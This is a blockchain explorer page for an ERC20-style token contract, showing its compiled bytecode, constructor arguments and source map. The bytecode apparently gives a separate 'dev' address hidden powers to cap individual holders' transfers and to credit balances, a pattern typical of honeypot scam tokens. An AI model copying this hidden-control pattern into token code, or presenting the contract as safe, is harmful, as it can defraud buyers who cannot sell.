6020818303038152906040528051906020012090505f83604051602001610ea19190611ced565b6040516020818303038152906040528051906020012090508082149250505092915050565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f0f9190611d07565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808214610f6f578183610f689190611a7d565b9050610f73565b8190505b92915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110678360055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15611294575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d190611d84565b60405180910390fd5b5f81141560025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505f81146111bd578160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061123b565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505b505050565b5f806112a48561076b565b90505f8111156112f1578082116112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790611dec565b60405180910390fd5b5b6113598560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b156113fc578160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113a79190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095491506113f78583610ec6565b611487565b8160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114459190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114ca5780820151818401526020810190506114af565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114ef82611493565b6114f9818561149d565b93506115098185602086016114ad565b611512816114d5565b840191505092915050565b5f6020820190508181035f83015261153581846114e5565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115778261154e565b9050919050565b6115878161156d565b8114611591575f80fd5b50565b5f813590506115a28161157e565b92915050565b5f819050919050565b6115ba816115a8565b81146115c4575f80fd5b50565b5f813590506115d5816115b1565b92915050565b5f80604083850312156115f1576115f0611546565b5b5f6115fe85828601611594565b925050602061160f858286016115c7565b9150509250929050565b5f8115159050919050565b61162d81611619565b82525050565b5f6020820190506116465f830184611624565b92915050565b611655816115a8565b82525050565b5f60208201905061166e5f83018461164c565b92915050565b5f805f6060848603121561168b5761168a611546565b5b5f61169886828701611594565b93505060206116a986828701611594565b92505060406116ba868287016115c7565b9150509250925092565b5f60ff82169050919050565b6116d9816116c4565b82525050565b5f6020820190506116f25f8301846116d0565b92915050565b5f6020828403121561170d5761170c611546565b5b5f61171a84828501611594565b91505092915050565b61172c8161156d565b82525050565b5f6020820190506117455f830184611723565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611785826114d5565b810181811067ffffffffffffffff821117156117a4576117a361174f565b5b80604052505050565b5f6117b661153d565b90506117c2828261177c565b919050565b5f67ffffffffffffffff8211156117e1576117e061174f565b5b602082029050602081019050919050565b5f80fd5b5f611808611803846117c7565b6117ad565b9050808382526020820190506020840283018581111561182b5761182a6117f2565b5b835b8181101561185457806118408882611594565b84526020840193505060208101905061182d565b5050509392505050565b5f82601f8301126118725761187161174b565b5b81356118828482602086016117f6565b91505092915050565b5f80604083850312156118a1576118a0611546565b5b5f83013567ffffffffffffffff8111156118be576118bd61154a565b5b6118ca8582860161185e565b92505060206118db858286016115c7565b9150509250929050565b5f80604083850312156118fb576118fa611546565b5b5f61190885828601611594565b925050602061191985828601611594565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061196757607f821691505b60208210810361197a57611979611923565b5b50919050565b7f496e76616c6964206164000000000000000000000000000000000000000000005f82015250565b5f6119b4600a8361149d565b91506119bf82611980565b602082019050919050565b5f6020820190508181035f8301526119e1816119a8565b9050919050565b7f496e76616c696420616d740000000000000000000000000000000000000000005f82015250565b5f611a1c600b8361149d565b9150611a27826119e8565b602082019050919050565b5f6020820190508181035f830152611a4981611a10565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a87826115a8565b9150611a92836115a8565b9250828201905080821115611aaa57611aa9611a50565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ae460208361149d565b9150611aef82611ab0565b602082019050919050565b5f6020820190508181035f830152611b1181611ad8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611b4f826115a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b8157611b80611a50565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611be660258361149d565b9150611bf182611b8c565b604082019050919050565b5f6020820190508181035f830152611c1381611bda565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611c7460268361149d565b9150611c7f82611c1a565b604082019050919050565b5f6020820190508181035f830152611ca181611c68565b9050919050565b5f8160601b9050919050565b5f611cbe82611ca8565b9050919050565b5f611ccf82611cb4565b9050919050565b611ce7611ce28261156d565b611cc5565b82525050565b5f611cf88284611cd6565b60148201915081905092915050565b5f611d11826115a8565b9150611d1c836115a8565b9250828203905081811115611d3457611d33611a50565b5b92915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f611d6e600f8361149d565b9150611d7982611d3a565b602082019050919050565b5f6020820190508181035f830152611d9b81611d62565b9050919050565b7f45524332303a20616d6f756e742069732077726f6e67000000000000000000005f82015250565b5f611dd660168361149d565b9150611de182611da2565b602082019050919050565b5f6020820190508181035f830152611e0381611dca565b905091905056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef9e97f720b71f8b6bb6dc748d0225e42dd89ace16f1f197c58c82ee8ad1ef1a64736f6c634300081400330000000000000000000000000e5462b7fab4d46107311440fe6b9d6f41ba3f5400000000000000000000000000000000000000000000000000000004a817c800

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a6116100955780639ebbaef7116100645780639ebbaef714610273578063a9059cbb1461028f578063dd62ed3e146102bf578063fc45b48d146102ef576100f3565b8063715018a6146101fd5780638da5cb5b14610207578063949c2f521461022557806395d89b4114610255576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806356688700146101b157806370a08231146101cd576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c919061151d565b60405180910390f35b61012f600480360381019061012a91906115db565b6103af565b60405161013c9190611633565b60405180910390f35b61014d6103cc565b60405161015a919061165b565b60405180910390f35b61017d60048036038101906101789190611674565b6103d5565b60405161018a9190611633565b60405180910390f35b61019b6104a9565b6040516101a891906116df565b60405180910390f35b6101cb60048036038101906101c691906115db565b6104be565b005b6101e760048036038101906101e291906116f8565b610677565b6040516101f4919061165b565b60405180910390f35b6102056106bd565b005b61020f610744565b60405161021c9190611732565b60405180910390f35b61023f600480360381019061023a91906116f8565b61076b565b60405161024c919061165b565b60405180910390f35b61025d6107b1565b60405161026a919061151d565b60405180910390f35b61028d6004803603810190610288919061188b565b610841565b005b6102a960048036038101906102a491906115db565b61091a565b6040516102b69190611633565b60405180910390f35b6102d960048036038101906102d491906118e5565b610937565b6040516102e6919061165b565b60405180910390f35b610309600480360381019061030491906115db565b6109b9565b6040516103169190611633565b60405180910390f35b60606006805461032e90611950565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90611950565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103c26103bb610a1f565b8484610a26565b6001905092915050565b5f600954905090565b5f6103e1848484610bb4565b61049e846103ed610a1f565b61049985604051806060016040528060298152602001611e326029913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610450610a1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b610a26565b600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f3390505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610530576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610527906119ca565b60405180910390fd5b5f8211610572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056990611a32565b60405180910390fd5b5f6105a08460055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15610613576105af8282610ec6565b6105b98184610f54565b90508060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106079190611a7d565b92505081905550610671565b61061d8282610ec6565b8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106699190611a7d565b925050819055505b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5610a1f565b73ffffffffffffffffffffffffffffffffffffffff166106e3610744565b73ffffffffffffffffffffffffffffffffffffffff1614610739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073090611afa565b60405180910390fd5b6107425f610f79565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600780546107c090611950565b80601f01602080910402602001604051908101604052809291908181526020018280546107ec90611950565b80156108375780601f1061080e57610100808354040283529160200191610837565b820191905f5260205f20905b81548152906001019060200180831161081a57829003601f168201915b5050505050905090565b60055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461089b575f80fd5b5f5b8251811015610915578160045f8584815181106108bd576108bc611b18565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808061090d90611b45565b91505061089d565b505050565b5f61092d610926610a1f565b8484610bb4565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f803390506109c981858561103a565b60025f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160149054906101000a900460ff1691505092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a8e57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611bfc565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba7919061165b565b60405180910390a3505050565b610bbf838383611299565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610c2757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611c8a565b60405180910390fd5b610c7183838361148e565b610cdb81604051806060016040528060278152602001611e0b6027913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d659190611a7d565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e03919061165b565b60405180910390a3505050565b5f838311158290610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e919061151d565b60405180910390fd5b5082840390509392505050565b5f8083604051602001610e779190611ced565b6040516020818303038152906040528051906020012090505f83604051602001610ea19190611ced565b6040516020818303038152906040528051906020012090508082149250505092915050565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f0f9190611d07565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808214610f6f578183610f689190611a7d565b9050610f73565b8190505b92915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110678360055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15611294575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d190611d84565b60405180910390fd5b5f81141560025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505f81146111bd578160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061123b565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505b505050565b5f806112a48561076b565b90505f8111156112f1578082116112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790611dec565b60405180910390fd5b5b6113598560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b156113fc578160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113a79190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095491506113f78583610ec6565b611487565b8160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114459190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114ca5780820151818401526020810190506114af565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114ef82611493565b6114f9818561149d565b93506115098185602086016114ad565b611512816114d5565b840191505092915050565b5f6020820190508181035f83015261153581846114e5565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115778261154e565b9050919050565b6115878161156d565b8114611591575f80fd5b50565b5f813590506115a28161157e565b92915050565b5f819050919050565b6115ba816115a8565b81146115c4575f80fd5b50565b5f813590506115d5816115b1565b92915050565b5f80604083850312156115f1576115f0611546565b5b5f6115fe85828601611594565b925050602061160f858286016115c7565b9150509250929050565b5f8115159050919050565b61162d81611619565b82525050565b5f6020820190506116465f830184611624565b92915050565b611655816115a8565b82525050565b5f60208201905061166e5f83018461164c565b92915050565b5f805f6060848603121561168b5761168a611546565b5b5f61169886828701611594565b93505060206116a986828701611594565b92505060406116ba868287016115c7565b9150509250925092565b5f60ff82169050919050565b6116d9816116c4565b82525050565b5f6020820190506116f25f8301846116d0565b92915050565b5f6020828403121561170d5761170c611546565b5b5f61171a84828501611594565b91505092915050565b61172c8161156d565b82525050565b5f6020820190506117455f830184611723565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611785826114d5565b810181811067ffffffffffffffff821117156117a4576117a361174f565b5b80604052505050565b5f6117b661153d565b90506117c2828261177c565b919050565b5f67ffffffffffffffff8211156117e1576117e061174f565b5b602082029050602081019050919050565b5f80fd5b5f611808611803846117c7565b6117ad565b9050808382526020820190506020840283018581111561182b5761182a6117f2565b5b835b8181101561185457806118408882611594565b84526020840193505060208101905061182d565b5050509392505050565b5f82601f8301126118725761187161174b565b5b81356118828482602086016117f6565b91505092915050565b5f80604083850312156118a1576118a0611546565b5b5f83013567ffffffffffffffff8111156118be576118bd61154a565b5b6118ca8582860161185e565b92505060206118db858286016115c7565b9150509250929050565b5f80604083850312156118fb576118fa611546565b5b5f61190885828601611594565b925050602061191985828601611594565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061196757607f821691505b60208210810361197a57611979611923565b5b50919050565b7f496e76616c6964206164000000000000000000000000000000000000000000005f82015250565b5f6119b4600a8361149d565b91506119bf82611980565b602082019050919050565b5f6020820190508181035f8301526119e1816119a8565b9050919050565b7f496e76616c696420616d740000000000000000000000000000000000000000005f82015250565b5f611a1c600b8361149d565b9150611a27826119e8565b602082019050919050565b5f6020820190508181035f830152611a4981611a10565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a87826115a8565b9150611a92836115a8565b9250828201905080821115611aaa57611aa9611a50565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ae460208361149d565b9150611aef82611ab0565b602082019050919050565b5f6020820190508181035f830152611b1181611ad8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611b4f826115a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b8157611b80611a50565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611be660258361149d565b9150611bf182611b8c565b604082019050919050565b5f6020820190508181035f830152611c1381611bda565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611c7460268361149d565b9150611c7f82611c1a565b604082019050919050565b5f6020820190508181035f830152611ca181611c68565b9050919050565b5f8160601b9050919050565b5f611cbe82611ca8565b9050919050565b5f611ccf82611cb4565b9050919050565b611ce7611ce28261156d565b611cc5565b82525050565b5f611cf88284611cd6565b60148201915081905092915050565b5f611d11826115a8565b9150611d1c836115a8565b9250828203905081811115611d3457611d33611a50565b5b92915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f611d6e600f8361149d565b9150611d7982611d3a565b602082019050919050565b5f6020820190508181035f830152611d9b81611d62565b9050919050565b7f45524332303a20616d6f756e742069732077726f6e67000000000000000000005f82015250565b5f611dd660168361149d565b9150611de182611da2565b602082019050919050565b5f6020820190508181035f830152611e0381611dca565b905091905056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef9e97f720b71f8b6bb6dc748d0225e42dd89ace16f1f197c58c82ee8ad1ef1a64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000e5462b7fab4d46107311440fe6b9d6f41ba3f5400000000000000000000000000000000000000000000000000000004a817c800

-----Decoded View---------------
Arg [0] : dev_ (address): 0x0e5462B7fab4D46107311440FE6B9d6F41bA3F54
Arg [1] : totalSupply_ (uint256): 20000000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000e5462b7fab4d46107311440fe6b9d6f41ba3f54
Arg [1] : 00000000000000000000000000000000000000000000000000000004a817c800


Deployed Bytecode Sourcemap

12825:7052:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13895:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14666:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14186:101;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15052:443;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14094:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17272:500;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14295:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12367:94;;;:::i;:::-;;11716:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19080:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13994:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18420:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14457:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14868:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18207:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13895:91;13940:13;13973:5;13966:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13895:91;:::o;14666:190::-;14769:4;14791:35;14796:12;:10;:12::i;:::-;14810:7;14819:6;14791:4;:35::i;:::-;14844:4;14837:11;;14666:190;;;;:::o;14186:101::-;14247:7;14274:5;;14267:12;;14186:101;:::o;15052:443::-;15192:4;15209:33;15216:6;15224:9;15235:6;15209;:33::i;:::-;15253:212;15272:6;15293:12;:10;:12::i;:::-;15320:134;15371:6;15320:134;;;;;;;;;;;;;;;;;:6;:14;15327:6;15320:14;;;;;;;;;;;;;;;:28;15335:12;:10;:12::i;:::-;15320:28;;;;;;;;;;;;;;;;:32;;:134;;;;;:::i;:::-;15253:4;:212::i;:::-;15483:4;15476:11;;15052:443;;;;;:::o;14094:84::-;14143:5;14168:2;;;;;;;;;;;14161:9;;14094:84;:::o;17272:500::-;17353:12;17368:10;17353:25;;17416:1;17397:21;;:7;:21;;;17389:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;17461:1;17452:6;:10;17444:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;17489:13;17521:28;17530:7;17539:4;:9;;;;;;;;;;;;17521:8;:28::i;:::-;17517:248;;;17566:17;17571:4;17577:5;17566:4;:17::i;:::-;17606:19;17611:5;17618:6;17606:4;:19::i;:::-;17598:27;;17659:5;17640:6;:15;17647:7;17640:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;17517:248;;;17697:17;17702:4;17708:5;17697:4;:17::i;:::-;17748:5;17729:6;:15;17736:7;17729:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;17517:248;17342:430;;17272:500;;:::o;14295:154::-;14394:7;14426:6;:15;14433:7;14426:15;;;;;;;;;;;;;;;;14419:22;;14295:154;;;:::o;12367:94::-;11947:12;:10;:12::i;:::-;11936:23;;:7;:5;:7::i;:::-;:23;;;11928:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12432:21:::1;12450:1;12432:9;:21::i;:::-;12367:94::o:0;11716:87::-;11762:7;11789:6;;;;;;;;;;;11782:13;;11716:87;:::o;19080:113::-;19135:7;19162:14;:23;19177:7;19162:23;;;;;;;;;;;;;;;;19155:30;;19080:113;;;:::o;13994:92::-;14041:13;14074:4;14067:11;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13994:92;:::o;18420:194::-;13759:4;:9;;;;;;;;;;;;13745:23;;:10;:23;;;13737:32;;;;;;18507:9:::1;18502:105;18526:8;:15;18522:1;:19;18502:105;;;18589:6;18559:14;:27;18574:8;18583:1;18574:11;;;;;;;;:::i;:::-;;;;;;;;18559:27;;;;;;;;;;;;;;;:36;;;;18543:3;;;;;:::i;:::-;;;;18502:105;;;;18420:194:::0;;:::o;14457:197::-;14563:4;14585:39;14592:12;:10;:12::i;:::-;14606:9;14617:6;14585;:39::i;:::-;14642:4;14635:11;;14457:197;;;;:::o;14868:176::-;14982:7;15014:6;:13;15021:5;15014:13;;;;;;;;;;;;;;;:22;15028:7;15014:22;;;;;;;;;;;;;;;;15007:29;;14868:176;;;;:::o;18207:205::-;18272:4;18290:12;18305:10;18290:25;;18326:29;18336:4;18342;18348:6;18326:9;:29::i;:::-;18373:4;:10;18378:4;18373:10;;;;;;;;;;;;;;;:21;;;;;;;;;;;;18366:28;;;18207:205;;;;:::o;693:98::-;746:7;773:10;766:17;;693:98;:::o;16946:318::-;17095:1;17078:19;;:5;:19;;;;:44;;;;;17120:1;17101:21;;:7;:21;;;;17078:44;17070:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17202:6;17177;:13;17184:5;17177:13;;;;;;;;;;;;;;;:22;17191:7;17177:22;;;;;;;;;;;;;;;:31;;;;17240:7;17224:32;;17233:5;17224:32;;;17249:6;17224:32;;;;;;:::i;:::-;;;;;;;;16946:318;;;:::o;15503:575::-;15632:37;15643:6;15651:9;15662:6;15632:10;:37::i;:::-;15706:1;15688:20;;:6;:20;;;;:47;;;;;15733:1;15712:23;;:9;:23;;;;15688:47;15680:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;15792:36;15802:6;15810:9;15821:6;15792:9;:36::i;:::-;15856:106;15889:6;15856:106;;;;;;;;;;;;;;;;;:6;:14;15863:6;15856:14;;;;;;;;;;;;;;;;:18;;:106;;;;;:::i;:::-;15839:6;:14;15846:6;15839:14;;;;;;;;;;;;;;;:123;;;;16013:6;15993;:17;16000:9;15993:17;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;15973:6;:17;15980:9;15973:17;;;;;;;;;;;;;;;:46;;;;16052:9;16035:35;;16044:6;16035:35;;;16063:6;16035:35;;;;;;:::i;:::-;;;;;;;;15503:575;;;:::o;8791:224::-;8911:7;8961:1;8956;:6;;8964:12;8948:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;8999:1;8995;:5;8988:12;;8791:224;;;;;:::o;17780:237::-;17850:4;17867:13;17910:4;17893:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;17883:33;;;;;;17867:49;;17927:13;17970:5;17953:23;;;;;;;;:::i;:::-;;